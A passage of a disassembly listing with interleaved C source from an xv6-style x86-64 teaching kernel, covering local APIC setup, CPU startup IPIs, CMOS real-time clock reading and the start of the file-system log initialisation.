ffff800000104a27: 80 ff ff
ffff800000104a2a: 48 8b 00 mov (%rax),%rax
ffff800000104a2d: 48 05 00 03 00 00 add $0x300,%rax
ffff800000104a33: 8b 00 mov (%rax),%eax
ffff800000104a35: 25 00 10 00 00 and $0x1000,%eax
ffff800000104a3a: 85 c0 test %eax,%eax
ffff800000104a3c: 75 e2 jne ffff800000104a20 <lapicinit+0x15c>
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
ffff800000104a3e: be 00 00 00 00 mov $0x0,%esi
ffff800000104a43: bf 20 00 00 00 mov $0x20,%edi
ffff800000104a48: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104a4f: 80 ff ff
ffff800000104a52: ff d0 callq *%rax
ffff800000104a54: eb 01 jmp ffff800000104a57 <lapicinit+0x193>
return;
ffff800000104a56: 90 nop
}
ffff800000104a57: 5d pop %rbp
ffff800000104a58: c3 retq
ffff800000104a59 <cpunum>:
int
cpunum(void)
{
ffff800000104a59: f3 0f 1e fa endbr64
ffff800000104a5d: 55 push %rbp
ffff800000104a5e: 48 89 e5 mov %rsp,%rbp
ffff800000104a61: 48 83 ec 10 sub $0x10,%rsp
// Cannot call cpu when interrupts are enabled:
// result not guaranteed to last long enough to be used!
// Would prefer to panic but even printing is chancy here:
// almost everything, including cprintf and panic, calls cpu,
// often indirectly through acquire and release.
if(readeflags()&FL_IF){
ffff800000104a65: 48 b8 65 48 10 00 00 movabs $0xffff800000104865,%rax
ffff800000104a6c: 80 ff ff
ffff800000104a6f: ff d0 callq *%rax
ffff800000104a71: 25 00 02 00 00 and $0x200,%eax
ffff800000104a76: 48 85 c0 test %rax,%rax
ffff800000104a79: 74 41 je ffff800000104abc <cpunum+0x63>
static int n;
if(n++ == 0)
ffff800000104a7b: 48 b8 c8 71 1f 00 00 movabs $0xffff8000001f71c8,%rax
ffff800000104a82: 80 ff ff
ffff800000104a85: 8b 00 mov (%rax),%eax
ffff800000104a87: 8d 50 01 lea 0x1(%rax),%edx
ffff800000104a8a: 48 b9 c8 71 1f 00 00 movabs $0xffff8000001f71c8,%rcx
ffff800000104a91: 80 ff ff
ffff800000104a94: 89 11 mov %edx,(%rcx)
ffff800000104a96: 85 c0 test %eax,%eax
ffff800000104a98: 75 22 jne ffff800000104abc <cpunum+0x63>
cprintf("cpu called from %x with interrupts enabled\n",
ffff800000104a9a: 48 8b 45 08 mov 0x8(%rbp),%rax
ffff800000104a9e: 48 89 c6 mov %rax,%rsi
ffff800000104aa1: 48 bf c0 c6 10 00 00 movabs $0xffff80000010c6c0,%rdi
ffff800000104aa8: 80 ff ff
ffff800000104aab: b8 00 00 00 00 mov $0x0,%eax
ffff800000104ab0: 48 ba 18 08 10 00 00 movabs $0xffff800000100818,%rdx
ffff800000104ab7: 80 ff ff
ffff800000104aba: ff d2 callq *%rdx
__builtin_return_address(0));
}
if (!lapic)
ffff800000104abc: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff800000104ac3: 80 ff ff
ffff800000104ac6: 48 8b 00 mov (%rax),%rax
ffff800000104ac9: 48 85 c0 test %rax,%rax
ffff800000104acc: 75 0a jne ffff800000104ad8 <cpunum+0x7f>
return 0;
ffff800000104ace: b8 00 00 00 00 mov $0x0,%eax
ffff800000104ad3: e9 82 00 00 00 jmpq ffff800000104b5a <cpunum+0x101>
apicid = lapic[ID] >> 24;
ffff800000104ad8: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff800000104adf: 80 ff ff
ffff800000104ae2: 48 8b 00 mov (%rax),%rax
ffff800000104ae5: 48 83 c0 20 add $0x20,%rax
ffff800000104ae9: 8b 00 mov (%rax),%eax
ffff800000104aeb: c1 e8 18 shr $0x18,%eax
ffff800000104aee: 89 45 f8 mov %eax,-0x8(%rbp)
for (i = 0; i < ncpu; ++i) {
ffff800000104af1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000104af8: eb 39 jmp ffff800000104b33 <cpunum+0xda>
if (cpus[i].apicid == apicid)
ffff800000104afa: 48 b9 e0 72 1f 00 00 movabs $0xffff8000001f72e0,%rcx
ffff800000104b01: 80 ff ff
ffff800000104b04: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104b07: 48 63 d0 movslq %eax,%rdx
ffff800000104b0a: 48 89 d0 mov %rdx,%rax
ffff800000104b0d: 48 c1 e0 02 shl $0x2,%rax
ffff800000104b11: 48 01 d0 add %rdx,%rax
ffff800000104b14: 48 c1 e0 03 shl $0x3,%rax
ffff800000104b18: 48 01 c8 add %rcx,%rax
ffff800000104b1b: 48 83 c0 01 add $0x1,%rax
ffff800000104b1f: 0f b6 00 movzbl (%rax),%eax
ffff800000104b22: 0f b6 c0 movzbl %al,%eax
ffff800000104b25: 39 45 f8 cmp %eax,-0x8(%rbp)
ffff800000104b28: 75 05 jne ffff800000104b2f <cpunum+0xd6>
return i;
ffff800000104b2a: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104b2d: eb 2b jmp ffff800000104b5a <cpunum+0x101>
for (i = 0; i < ncpu; ++i) {
ffff800000104b2f: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000104b33: 48 b8 20 74 1f 00 00 movabs $0xffff8000001f7420,%rax
ffff800000104b3a: 80 ff ff
ffff800000104b3d: 8b 00 mov (%rax),%eax
ffff800000104b3f: 39 45 fc cmp %eax,-0x4(%rbp)
ffff800000104b42: 7c b6 jl ffff800000104afa <cpunum+0xa1>
}
panic("unknown apicid\n");
ffff800000104b44: 48 bf ec c6 10 00 00 movabs $0xffff80000010c6ec,%rdi
ffff800000104b4b: 80 ff ff
ffff800000104b4e: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000104b55: 80 ff ff
ffff800000104b58: ff d0 callq *%rax
}
ffff800000104b5a: c9 leaveq
ffff800000104b5b: c3 retq
ffff800000104b5c <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
ffff800000104b5c: f3 0f 1e fa endbr64
ffff800000104b60: 55 push %rbp
ffff800000104b61: 48 89 e5 mov %rsp,%rbp
if(lapic)
ffff800000104b64: 48 b8 c0 71 1f 00 00 movabs $0xffff8000001f71c0,%rax
ffff800000104b6b: 80 ff ff
ffff800000104b6e: 48 8b 00 mov (%rax),%rax
ffff800000104b71: 48 85 c0 test %rax,%rax
ffff800000104b74: 74 16 je ffff800000104b8c <lapiceoi+0x30>
lapicw(EOI, 0);
ffff800000104b76: be 00 00 00 00 mov $0x0,%esi
ffff800000104b7b: bf 2c 00 00 00 mov $0x2c,%edi
ffff800000104b80: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104b87: 80 ff ff
ffff800000104b8a: ff d0 callq *%rax
}
ffff800000104b8c: 90 nop
ffff800000104b8d: 5d pop %rbp
ffff800000104b8e: c3 retq
ffff800000104b8f <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
ffff800000104b8f: f3 0f 1e fa endbr64
ffff800000104b93: 55 push %rbp
ffff800000104b94: 48 89 e5 mov %rsp,%rbp
ffff800000104b97: 48 83 ec 08 sub $0x8,%rsp
ffff800000104b9b: 89 7d fc mov %edi,-0x4(%rbp)
}
ffff800000104b9e: 90 nop
ffff800000104b9f: c9 leaveq
ffff800000104ba0: c3 retq
ffff800000104ba1 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
ffff800000104ba1: f3 0f 1e fa endbr64
ffff800000104ba5: 55 push %rbp
ffff800000104ba6: 48 89 e5 mov %rsp,%rbp
ffff800000104ba9: 48 83 ec 18 sub $0x18,%rsp
ffff800000104bad: 89 f8 mov %edi,%eax
ffff800000104baf: 89 75 e8 mov %esi,-0x18(%rbp)
ffff800000104bb2: 88 45 ec mov %al,-0x14(%rbp)
ushort *wrv;
// "The BSP must initialize CMOS shutdown code to 0AH
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
ffff800000104bb5: be 0f 00 00 00 mov $0xf,%esi
ffff800000104bba: bf 70 00 00 00 mov $0x70,%edi
ffff800000104bbf: 48 b8 40 48 10 00 00 movabs $0xffff800000104840,%rax
ffff800000104bc6: 80 ff ff
ffff800000104bc9: ff d0 callq *%rax
outb(CMOS_PORT+1, 0x0A);
ffff800000104bcb: be 0a 00 00 00 mov $0xa,%esi
ffff800000104bd0: bf 71 00 00 00 mov $0x71,%edi
ffff800000104bd5: 48 b8 40 48 10 00 00 movabs $0xffff800000104840,%rax
ffff800000104bdc: 80 ff ff
ffff800000104bdf: ff d0 callq *%rax
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
ffff800000104be1: 48 b8 67 04 00 00 00 movabs $0xffff800000000467,%rax
ffff800000104be8: 80 ff ff
ffff800000104beb: 48 89 45 f0 mov %rax,-0x10(%rbp)
wrv[0] = 0;
ffff800000104bef: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000104bf3: 66 c7 00 00 00 movw $0x0,(%rax)
wrv[1] = addr >> 4;
ffff800000104bf8: 8b 45 e8 mov -0x18(%rbp),%eax
ffff800000104bfb: c1 e8 04 shr $0x4,%eax
ffff800000104bfe: 89 c2 mov %eax,%edx
ffff800000104c00: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000104c04: 48 83 c0 02 add $0x2,%rax
ffff800000104c08: 66 89 10 mov %dx,(%rax)
// "Universal startup algorithm."
// Send INIT (level-triggered) interrupt to reset other CPU.
lapicw(ICRHI, apicid<<24);
ffff800000104c0b: 0f b6 45 ec movzbl -0x14(%rbp),%eax
ffff800000104c0f: c1 e0 18 shl $0x18,%eax
ffff800000104c12: 89 c6 mov %eax,%esi
ffff800000104c14: bf c4 00 00 00 mov $0xc4,%edi
ffff800000104c19: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104c20: 80 ff ff
ffff800000104c23: ff d0 callq *%rax
lapicw(ICRLO, INIT | LEVEL | ASSERT);
ffff800000104c25: be 00 c5 00 00 mov $0xc500,%esi
ffff800000104c2a: bf c0 00 00 00 mov $0xc0,%edi
ffff800000104c2f: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104c36: 80 ff ff
ffff800000104c39: ff d0 callq *%rax
microdelay(200);
ffff800000104c3b: bf c8 00 00 00 mov $0xc8,%edi
ffff800000104c40: 48 b8 8f 4b 10 00 00 movabs $0xffff800000104b8f,%rax
ffff800000104c47: 80 ff ff
ffff800000104c4a: ff d0 callq *%rax
lapicw(ICRLO, INIT | LEVEL);
ffff800000104c4c: be 00 85 00 00 mov $0x8500,%esi
ffff800000104c51: bf c0 00 00 00 mov $0xc0,%edi
ffff800000104c56: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104c5d: 80 ff ff
ffff800000104c60: ff d0 callq *%rax
microdelay(100); // should be 10ms, but too slow in Bochs!
ffff800000104c62: bf 64 00 00 00 mov $0x64,%edi
ffff800000104c67: 48 b8 8f 4b 10 00 00 movabs $0xffff800000104b8f,%rax
ffff800000104c6e: 80 ff ff
ffff800000104c71: ff d0 callq *%rax
// Send startup IPI (twice!) to enter code.
// Regular hardware is supposed to only accept a STARTUP
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
ffff800000104c73: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000104c7a: eb 4b jmp ffff800000104cc7 <lapicstartap+0x126>
lapicw(ICRHI, apicid<<24);
ffff800000104c7c: 0f b6 45 ec movzbl -0x14(%rbp),%eax
ffff800000104c80: c1 e0 18 shl $0x18,%eax
ffff800000104c83: 89 c6 mov %eax,%esi
ffff800000104c85: bf c4 00 00 00 mov $0xc4,%edi
ffff800000104c8a: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104c91: 80 ff ff
ffff800000104c94: ff d0 callq *%rax
lapicw(ICRLO, STARTUP | (addr>>12));
ffff800000104c96: 8b 45 e8 mov -0x18(%rbp),%eax
ffff800000104c99: c1 e8 0c shr $0xc,%eax
ffff800000104c9c: 80 cc 06 or $0x6,%ah
ffff800000104c9f: 89 c6 mov %eax,%esi
ffff800000104ca1: bf c0 00 00 00 mov $0xc0,%edi
ffff800000104ca6: 48 b8 7d 48 10 00 00 movabs $0xffff80000010487d,%rax
ffff800000104cad: 80 ff ff
ffff800000104cb0: ff d0 callq *%rax
microdelay(200);
ffff800000104cb2: bf c8 00 00 00 mov $0xc8,%edi
ffff800000104cb7: 48 b8 8f 4b 10 00 00 movabs $0xffff800000104b8f,%rax
ffff800000104cbe: 80 ff ff
ffff800000104cc1: ff d0 callq *%rax
for(i = 0; i < 2; i++){
ffff800000104cc3: 83 45 fc 01 addl $0x1,-0x4(%rbp)
ffff800000104cc7: 83 7d fc 01 cmpl $0x1,-0x4(%rbp)
ffff800000104ccb: 7e af jle ffff800000104c7c <lapicstartap+0xdb>
}
}
ffff800000104ccd: 90 nop
ffff800000104cce: 90 nop
ffff800000104ccf: c9 leaveq
ffff800000104cd0: c3 retq
ffff800000104cd1 <cmos_read>:
#define DAY 0x07
#define MONTH 0x08
#define YEAR 0x09
static uint cmos_read(uint reg)
{
ffff800000104cd1: f3 0f 1e fa endbr64
ffff800000104cd5: 55 push %rbp
ffff800000104cd6: 48 89 e5 mov %rsp,%rbp
ffff800000104cd9: 48 83 ec 08 sub $0x8,%rsp
ffff800000104cdd: 89 7d fc mov %edi,-0x4(%rbp)
outb(CMOS_PORT, reg);
ffff800000104ce0: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104ce3: 0f b6 c0 movzbl %al,%eax
ffff800000104ce6: 89 c6 mov %eax,%esi
ffff800000104ce8: bf 70 00 00 00 mov $0x70,%edi
ffff800000104ced: 48 b8 40 48 10 00 00 movabs $0xffff800000104840,%rax
ffff800000104cf4: 80 ff ff
ffff800000104cf7: ff d0 callq *%rax
microdelay(200);
ffff800000104cf9: bf c8 00 00 00 mov $0xc8,%edi
ffff800000104cfe: 48 b8 8f 4b 10 00 00 movabs $0xffff800000104b8f,%rax
ffff800000104d05: 80 ff ff
ffff800000104d08: ff d0 callq *%rax
return inb(CMOS_RETURN);
ffff800000104d0a: bf 71 00 00 00 mov $0x71,%edi
ffff800000104d0f: 48 b8 1e 48 10 00 00 movabs $0xffff80000010481e,%rax
ffff800000104d16: 80 ff ff
ffff800000104d19: ff d0 callq *%rax
ffff800000104d1b: 0f b6 c0 movzbl %al,%eax
}
ffff800000104d1e: c9 leaveq
ffff800000104d1f: c3 retq
ffff800000104d20 <fill_rtcdate>:
static void fill_rtcdate(struct rtcdate *r)
{
ffff800000104d20: f3 0f 1e fa endbr64
ffff800000104d24: 55 push %rbp
ffff800000104d25: 48 89 e5 mov %rsp,%rbp
ffff800000104d28: 48 83 ec 08 sub $0x8,%rsp
ffff800000104d2c: 48 89 7d f8 mov %rdi,-0x8(%rbp)
r->second = cmos_read(SECS);
ffff800000104d30: bf 00 00 00 00 mov $0x0,%edi
ffff800000104d35: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104d3c: 80 ff ff
ffff800000104d3f: ff d0 callq *%rax
ffff800000104d41: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000104d45: 89 02 mov %eax,(%rdx)
r->minute = cmos_read(MINS);
ffff800000104d47: bf 02 00 00 00 mov $0x2,%edi
ffff800000104d4c: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104d53: 80 ff ff
ffff800000104d56: ff d0 callq *%rax
ffff800000104d58: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000104d5c: 89 42 04 mov %eax,0x4(%rdx)
r->hour = cmos_read(HOURS);
ffff800000104d5f: bf 04 00 00 00 mov $0x4,%edi
ffff800000104d64: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104d6b: 80 ff ff
ffff800000104d6e: ff d0 callq *%rax
ffff800000104d70: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000104d74: 89 42 08 mov %eax,0x8(%rdx)
r->day = cmos_read(DAY);
ffff800000104d77: bf 07 00 00 00 mov $0x7,%edi
ffff800000104d7c: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104d83: 80 ff ff
ffff800000104d86: ff d0 callq *%rax
ffff800000104d88: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000104d8c: 89 42 0c mov %eax,0xc(%rdx)
r->month = cmos_read(MONTH);
ffff800000104d8f: bf 08 00 00 00 mov $0x8,%edi
ffff800000104d94: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104d9b: 80 ff ff
ffff800000104d9e: ff d0 callq *%rax
ffff800000104da0: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000104da4: 89 42 10 mov %eax,0x10(%rdx)
r->year = cmos_read(YEAR);
ffff800000104da7: bf 09 00 00 00 mov $0x9,%edi
ffff800000104dac: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104db3: 80 ff ff
ffff800000104db6: ff d0 callq *%rax
ffff800000104db8: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000104dbc: 89 42 14 mov %eax,0x14(%rdx)
}
ffff800000104dbf: 90 nop
ffff800000104dc0: c9 leaveq
ffff800000104dc1: c3 retq
ffff800000104dc2 <cmostime>:
//PAGEBREAK!
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
ffff800000104dc2: f3 0f 1e fa endbr64
ffff800000104dc6: 55 push %rbp
ffff800000104dc7: 48 89 e5 mov %rsp,%rbp
ffff800000104dca: 48 83 ec 50 sub $0x50,%rsp
ffff800000104dce: 48 89 7d b8 mov %rdi,-0x48(%rbp)
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
ffff800000104dd2: bf 0b 00 00 00 mov $0xb,%edi
ffff800000104dd7: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104dde: 80 ff ff
ffff800000104de1: ff d0 callq *%rax
ffff800000104de3: 89 45 fc mov %eax,-0x4(%rbp)
bcd = (sb & (1 << 2)) == 0;
ffff800000104de6: 8b 45 fc mov -0x4(%rbp),%eax
ffff800000104de9: 83 e0 04 and $0x4,%eax
ffff800000104dec: 85 c0 test %eax,%eax
ffff800000104dee: 0f 94 c0 sete %al
ffff800000104df1: 0f b6 c0 movzbl %al,%eax
ffff800000104df4: 89 45 f8 mov %eax,-0x8(%rbp)
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
ffff800000104df7: 48 8d 45 e0 lea -0x20(%rbp),%rax
ffff800000104dfb: 48 89 c7 mov %rax,%rdi
ffff800000104dfe: 48 b8 20 4d 10 00 00 movabs $0xffff800000104d20,%rax
ffff800000104e05: 80 ff ff
ffff800000104e08: ff d0 callq *%rax
if(cmos_read(CMOS_STATA) & CMOS_UIP)
ffff800000104e0a: bf 0a 00 00 00 mov $0xa,%edi
ffff800000104e0f: 48 b8 d1 4c 10 00 00 movabs $0xffff800000104cd1,%rax
ffff800000104e16: 80 ff ff
ffff800000104e19: ff d0 callq *%rax
ffff800000104e1b: 25 80 00 00 00 and $0x80,%eax
ffff800000104e20: 85 c0 test %eax,%eax
ffff800000104e22: 75 38 jne ffff800000104e5c <cmostime+0x9a>
continue;
fill_rtcdate(&t2);
ffff800000104e24: 48 8d 45 c0 lea -0x40(%rbp),%rax
ffff800000104e28: 48 89 c7 mov %rax,%rdi
ffff800000104e2b: 48 b8 20 4d 10 00 00 movabs $0xffff800000104d20,%rax
ffff800000104e32: 80 ff ff
ffff800000104e35: ff d0 callq *%rax
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
ffff800000104e37: 48 8d 4d c0 lea -0x40(%rbp),%rcx
ffff800000104e3b: 48 8d 45 e0 lea -0x20(%rbp),%rax
ffff800000104e3f: ba 18 00 00 00 mov $0x18,%edx
ffff800000104e44: 48 89 ce mov %rcx,%rsi
ffff800000104e47: 48 89 c7 mov %rax,%rdi
ffff800000104e4a: 48 b8 9d 7c 10 00 00 movabs $0xffff800000107c9d,%rax
ffff800000104e51: 80 ff ff
ffff800000104e54: ff d0 callq *%rax
ffff800000104e56: 85 c0 test %eax,%eax
ffff800000104e58: 74 05 je ffff800000104e5f <cmostime+0x9d>
ffff800000104e5a: eb 9b jmp ffff800000104df7 <cmostime+0x35>
continue;
ffff800000104e5c: 90 nop
fill_rtcdate(&t1);
ffff800000104e5d: eb 98 jmp ffff800000104df7 <cmostime+0x35>
break;
ffff800000104e5f: 90 nop
}
// convert
if(bcd) {
ffff800000104e60: 83 7d f8 00 cmpl $0x0,-0x8(%rbp)
ffff800000104e64: 0f 84 b4 00 00 00 je ffff800000104f1e <cmostime+0x15c>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
ffff800000104e6a: 8b 45 e0 mov -0x20(%rbp),%eax
ffff800000104e6d: c1 e8 04 shr $0x4,%eax
ffff800000104e70: 89 c2 mov %eax,%edx
ffff800000104e72: 89 d0 mov %edx,%eax
ffff800000104e74: c1 e0 02 shl $0x2,%eax
ffff800000104e77: 01 d0 add %edx,%eax
ffff800000104e79: 01 c0 add %eax,%eax
ffff800000104e7b: 89 c2 mov %eax,%edx
ffff800000104e7d: 8b 45 e0 mov -0x20(%rbp),%eax
ffff800000104e80: 83 e0 0f and $0xf,%eax
ffff800000104e83: 01 d0 add %edx,%eax
ffff800000104e85: 89 45 e0 mov %eax,-0x20(%rbp)
CONV(minute);
ffff800000104e88: 8b 45 e4 mov -0x1c(%rbp),%eax
ffff800000104e8b: c1 e8 04 shr $0x4,%eax
ffff800000104e8e: 89 c2 mov %eax,%edx
ffff800000104e90: 89 d0 mov %edx,%eax
ffff800000104e92: c1 e0 02 shl $0x2,%eax
ffff800000104e95: 01 d0 add %edx,%eax
ffff800000104e97: 01 c0 add %eax,%eax
ffff800000104e99: 89 c2 mov %eax,%edx
ffff800000104e9b: 8b 45 e4 mov -0x1c(%rbp),%eax
ffff800000104e9e: 83 e0 0f and $0xf,%eax
ffff800000104ea1: 01 d0 add %edx,%eax
ffff800000104ea3: 89 45 e4 mov %eax,-0x1c(%rbp)
CONV(hour );
ffff800000104ea6: 8b 45 e8 mov -0x18(%rbp),%eax
ffff800000104ea9: c1 e8 04 shr $0x4,%eax
ffff800000104eac: 89 c2 mov %eax,%edx
ffff800000104eae: 89 d0 mov %edx,%eax
ffff800000104eb0: c1 e0 02 shl $0x2,%eax
ffff800000104eb3: 01 d0 add %edx,%eax
ffff800000104eb5: 01 c0 add %eax,%eax
ffff800000104eb7: 89 c2 mov %eax,%edx
ffff800000104eb9: 8b 45 e8 mov -0x18(%rbp),%eax
ffff800000104ebc: 83 e0 0f and $0xf,%eax
ffff800000104ebf: 01 d0 add %edx,%eax
ffff800000104ec1: 89 45 e8 mov %eax,-0x18(%rbp)
CONV(day );
ffff800000104ec4: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000104ec7: c1 e8 04 shr $0x4,%eax
ffff800000104eca: 89 c2 mov %eax,%edx
ffff800000104ecc: 89 d0 mov %edx,%eax
ffff800000104ece: c1 e0 02 shl $0x2,%eax
ffff800000104ed1: 01 d0 add %edx,%eax
ffff800000104ed3: 01 c0 add %eax,%eax
ffff800000104ed5: 89 c2 mov %eax,%edx
ffff800000104ed7: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000104eda: 83 e0 0f and $0xf,%eax
ffff800000104edd: 01 d0 add %edx,%eax
ffff800000104edf: 89 45 ec mov %eax,-0x14(%rbp)
CONV(month );
ffff800000104ee2: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000104ee5: c1 e8 04 shr $0x4,%eax
ffff800000104ee8: 89 c2 mov %eax,%edx
ffff800000104eea: 89 d0 mov %edx,%eax
ffff800000104eec: c1 e0 02 shl $0x2,%eax
ffff800000104eef: 01 d0 add %edx,%eax
ffff800000104ef1: 01 c0 add %eax,%eax
ffff800000104ef3: 89 c2 mov %eax,%edx
ffff800000104ef5: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000104ef8: 83 e0 0f and $0xf,%eax
ffff800000104efb: 01 d0 add %edx,%eax
ffff800000104efd: 89 45 f0 mov %eax,-0x10(%rbp)
CONV(year );
ffff800000104f00: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000104f03: c1 e8 04 shr $0x4,%eax
ffff800000104f06: 89 c2 mov %eax,%edx
ffff800000104f08: 89 d0 mov %edx,%eax
ffff800000104f0a: c1 e0 02 shl $0x2,%eax
ffff800000104f0d: 01 d0 add %edx,%eax
ffff800000104f0f: 01 c0 add %eax,%eax
ffff800000104f11: 89 c2 mov %eax,%edx
ffff800000104f13: 8b 45 f4 mov -0xc(%rbp),%eax
ffff800000104f16: 83 e0 0f and $0xf,%eax
ffff800000104f19: 01 d0 add %edx,%eax
ffff800000104f1b: 89 45 f4 mov %eax,-0xc(%rbp)
#undef CONV
}
*r = t1;
ffff800000104f1e: 48 8b 4d b8 mov -0x48(%rbp),%rcx
ffff800000104f22: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000104f26: 48 8b 55 e8 mov -0x18(%rbp),%rdx
ffff800000104f2a: 48 89 01 mov %rax,(%rcx)
ffff800000104f2d: 48 89 51 08 mov %rdx,0x8(%rcx)
ffff800000104f31: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000104f35: 48 89 41 10 mov %rax,0x10(%rcx)
r->year += 2000;
ffff800000104f39: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000104f3d: 8b 40 14 mov 0x14(%rax),%eax
ffff800000104f40: 8d 90 d0 07 00 00 lea 0x7d0(%rax),%edx
ffff800000104f46: 48 8b 45 b8 mov -0x48(%rbp),%rax
ffff800000104f4a: 89 50 14 mov %edx,0x14(%rax)
}
ffff800000104f4d: 90 nop
ffff800000104f4e: c9 leaveq
ffff800000104f4f: c3 retq
ffff800000104f50 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(int dev)
{
ffff800000104f50: f3 0f 1e fa endbr64
ffff800000104f54: 55 push %rbp
ffff800000104f55: 48 89 e5 mov %rsp,%rbp
ffff800000104f58: 48 83 ec 30 sub $0x30,%rsp
ffff800000104f5c: 89 7d dc mov %edi,-0x24(%rbp)
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
ffff800000104f5f: 48 be fc c6 10 00 00 movabs $0xffff80000010c6fc,%rsi
ffff800000104f66: 80 ff ff
ffff800000104f69: 48 bf e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdi
ffff800000104f70: 80 ff ff
ffff800000104f73: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff800000104f7a: 80 ff ff
ffff800000104f7d: ff d0 callq *%rax
readsb(dev, &sb);
ffff800000104f7f: 48 8d 55 e0 lea -0x20(%rbp),%rdx
ffff800000104f83: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000104f86: 48 89 d6 mov %rdx,%rsi
ffff800000104f89: 89 c7 mov %eax,%edi
ffff800000104f8b: 48 b8 d1 20 10 00 00 movabs $0xffff8000001020d1,%rax
ffff800000104f92: 80 ff ff
ffff800000104f95: ff d0 callq *%rax
log.start = sb.logstart;
ffff800000104f97: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000104f9a: 89 c2 mov %eax,%edx
ffff800000104f9c: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000104fa3: 80 ff ff
ffff800000104fa6: 89 50 68 mov %edx,0x68(%rax)
log.size = sb.nlog;
ffff800000104fa9: 8b 45 ec mov -0x14(%rbp),%eax
ffff800000104fac: 89 c2 mov %eax,%edx
ffff800000104fae: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000104fb5: 80 ff ff
ffff800000104fb8: 89 50 6c mov %edx,0x6c(%rax)
log.dev = dev;
ffff800000104fbb: 48 ba e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rdx
ffff800000104fc2: 80 ff ff
ffff800000104fc5: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000104fc8: 89 42 78 mov %eax,0x78(%rdx)
recover_from_log();
ffff800000104fcb: 48 b8 6b 52 10 00 00 movabs $0xffff80000010526b,%rax
ffff800000104fd2: 80 ff ff
ffff800000104fd5: ff d0 callq *%rax
}
ffff800000104fd7: 90 nop
ffff800000104fd8: c9 leaveq
ffff800000104fd9: c3 retq
ffff800000104fda <install_trans>:
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
ffff800000104fda: f3 0f 1e fa endbr64
ffff800000104fde: 55 push %rbp
ffff800000104fdf: 48 89 e5 mov %rsp,%rbp
ffff800000104fe2: 48 83 ec 20 sub $0x20,%rsp
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
ffff800000104fe6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
ffff800000104fed: e9 dc 00 00 00 jmpq ffff8000001050ce <install_trans+0xf4>
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
ffff800000104ff2: 48 b8 e0 71 1f 00 00 movabs $0xffff8000001f71e0,%rax
ffff800000104ff9: 80 ff ff
